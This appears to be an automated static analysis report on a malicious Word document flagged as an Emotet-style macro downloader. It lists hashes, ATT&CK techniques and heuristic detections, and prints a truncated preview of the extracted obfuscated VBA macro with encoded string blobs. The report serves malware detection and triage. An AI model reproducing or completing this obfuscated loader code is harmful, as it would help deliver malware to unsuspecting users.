Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a5f9266e16497ff…

MALICIOUS

Office (OLE)

163.0 KB Created: 2018-03-29 04:45:00 Authoring application: Microsoft Office Word First seen: 2018-04-12
MD5: 0d175d89712395a8d2ad8e34e7469c77 SHA-1: 0c89cb02ea660686c003f23a8e61641b22ee684b SHA-256: 5a5f9266e16497ffd86d7f36a18b6551a4d8ca29463d410afd499768b876d8ed
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro utilizes CreateObject and appears to be designed to download and execute a second-stage payload, as indicated by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' further confirms its malicious nature. The macro's obfuscated nature and lack of clear indicators for a specific family lead to an 'unknown family' classification.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38357 bytes
SHA-256: ee0e206aaef49da4f2a84fecbc342e1538ed40589fcd88902dda730962465b68
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 21 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "qCTwzlDzGvu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "CVCTZlPOIPsP"
Function tHIjSnwVbDwz()
On Error Resume Next
thCKP = 81517 / Round(UurYD) + UEKviz - CStr(50826) * VNQVkN * mIuNG * jRTAMr * rXowQH
cwLZA = SXUlpf
ttPLuhaZsRj = fClnb("z58NAOAA3ADAAOAAyADIAMQA2ADkANgBkAGQAYQBhAGIAZiC", 5, 42)
ChlwLz = 81357 / Round(mrvRIk) + wYSEdv - CStr(84418) * zUMIVI * iKhPmJ * rmTRiq * QHsNU
vSkBj = tnczo
jCpUf = 43022 / Round(mdapS) + EszIl - CStr(57238) * NEURo * GBwuta * IbEZKN * bAQkQs
UUSkU = OmfhYf
DDrwUs = fClnb(" W3A0ADIANwBiAGMANQAzADQANABkAGUANABiADMAZQBlADUANwA2ADIAZA8kwSv", 4, 56)
QSqihO = 39640 / Round(coazX) + bMnkAw - CStr(83563) * hiKYpj * wWBfc * IKhDCX * rfrmwE
arzXjt = lLYIZl
SnaHOo = 96041 / Round(jTZwp) + YWofE - CStr(45153) * BuFwG * MWImp * YfHbpW * ojzVuE
cDzfcA = nRsUJ
sZDSN = fClnb("k59RyADYANQBmAGIAYg4pN", 5, 15)
hlobh = 67861 / Round(QZQuz) + XiRBZ - CStr(22486) * ViIXcK * WlOOHf * wCuXn * rTCmE
TdfWPS = QmCdR
kQHrP = 26528 / Round(qArUQ) + WkizWf - CStr(58202) * HIbsGi * XMWrX * RQaJBw * zEaIqP
kBCrEG = cHjwIi
jqLriDZqf = fClnb("NiGUAMBIYBr", 3, 4)
SoVds = 63567 / Round(UHqVh) + cDiSCq - CStr(90188) * VJimRW * IuKtPo * PEizif * uMWWT
ZZNwRo = wiqqbK
lHVSCt = 29065 / Round(jMtmP) + zPuOhr - CStr(66939) * ZKYZLZ * TQAOW * avhntw * inozjf
BUwvfv = iLudh
GiUBnTWSvbp = fClnb("wV2,133,54,217,69,39,45,72,214,91,104,61,21,149,225,77,57))mK2F", 3, 57)
nMwsXt = 66650 / Round(TMaou) + wlVapj - CStr(56270) * zUFja * sknKLG * VrvZp * XiIVGk
GwpTn = MZNcn
DiDtj = 3151 / Round(sosmlT) + TmFMfK - CStr(20729) * wJWzD * jrLOj * lYKsH * LaFuh
wSJvKU = jKAfuW
XAdsHq = fClnb("wODABlADYAZgBiADAAMAA0ADkAZAAxADUAZgBmADIAMwA5ADUAMgBkADAAMgBhADgAYQBhADIAMABlADMAYQBmAGIAYwA5AGQAMABmADUAZQAwAGIAYQAxADMAYQA3A0.FwP", 4, 124)
wXIzhY = 3509 / Round(LvbNFd) + kwDbcw - CStr(71209) * ojrmA * ktQVY * oRINJ * zHOTzP
kZEcSt = NVUQpl
iwSDH = 72804 / Round(MJcGDl) + vpppij - CStr(39505) * FPvlF * CUftci * OzoaF * jISnl
ASoDa = tvLtC
isFLoNqd = fClnb("5rhADcAMwAxADQAMAA1AGIAZQA3T8Yw", 3, 25)
VfLKp = 94119 / Round(aHUjr) + PdKlL - CStr(74999) * JaFUNQ * liivU * jEZOZS * aKEfl
CLijKz = Zzvaq
TJQjqh = 22383 / Round(nZzfj) + Pwjcha - CStr(61220) * bYtATP * JzWVj * wQdJlj * qYiIRI
mPMUE = rirnq
rlETVXKYzE = fClnb("wzarU9DkAOQAxADgANAA4ADkAMwBhADMAYQAwAGIAYgA2ADYAMAA2ADgAZQBjADMANQA0ADAANgAxADIANAA5ADgANABhADkAMABjAS4", 7, 96)
wJiZa = 19223 / Round(PRjFSv) + FkDuli - CStr(20675) * dumBQ * pQYqT * kQMwD * StrGJu
LEHiw = HDpjk
wXYqz = 55415 / Round(EzMXY) + hUZcQ - CStr(65779) * mbcSS * vpKni * iTnClJ * TkAsCI
SXsfT = fPlWvF
vDmtpDrwltV = fClnb("VDgAYQA1AGUAYQBlAGQANAA1ADcAMwBlAGYAMwA4AGUAZQA1ADUAOAA0ADQANQBkADgAYwAwASYYzYZA", 2, 72)
phNuM = 65802 / Round(qBuSoS) + OhljZ - CStr(20139) * oYwiT * MShQG * mGlWGj * cNRca
BJQiAn = vHBJQ
vHGuv = 18599 / Round(MtUXZ) + NMPLwn - CStr(4200) * znJWo * TfUwqt * SmUju * bZGGB
fnraEW = KOwUzY
BZPETDjjI = fClnb("vKkzNAAxAGQAZgA4ADQANQAxADMANQBiAGMAZgA2ADEANwBmADQAMQA4ADIANwBiAGYAOAA0ADcAMgBiADMANQA2ADUAMQA3AGMAZg44", 5, 98)
YshZX = 63374 / Round(XvZufC) + altjIu - CStr(16204) * bFPaGj * VRXHno * rjiUvI * SfYTJj
Dnpiwa = cJzaw
ZIdbp = 64376 / Round(qtLLEu) + DELjV - CStr(12167) * zSFBcG * YhHobp * nsfoG * kdMSkS
vVbTtk = ZpXaM
jWbfvIdPDRU = fClnb("@2AOQA5AGEAMAA3ADYANQAyADUAZAA2AGQAYwAxAGMANgBmADIANwAyADYAZQBmAGEANwA3AGEAZAAyADcANQA5ADIANABlADUAOAAyADAANQA4AGYANwA4ADQAMwA0ADEAMgBiAGQAYgBhAGYAZgA1ADYANABhADEAOQA4AGUANgAzADYAUo.U", 3, 177)
RRMEXc = 9391 / Round(QLjrP) + tVGmQ - CStr(19873) * lCFnur * iwUEc * iSQHvI * TiJvb
aiDjlJ = wjPHR
Vibdp = 88796 / Round(rYfLm) + DZhIL - CStr(76764) * rPhCd * PiUfz * DozRi * SlULHr
USiwnl = BfjGB
MVRXOWSPCjf = fClnb("OA5ADcAMAA2ADUAZgBjADUAYwA0ADUAZQAxADAAYgBmADgAYQBhAGIAZgA2ADAAMQAxADcANQBkADIAOQBiADUANAAzADEAZAA2ADkAMABlAGUAZABkAGYAZQA2ADYAMgAd8Ezroj0", 2, 129)
zUimW = 87
... (truncated)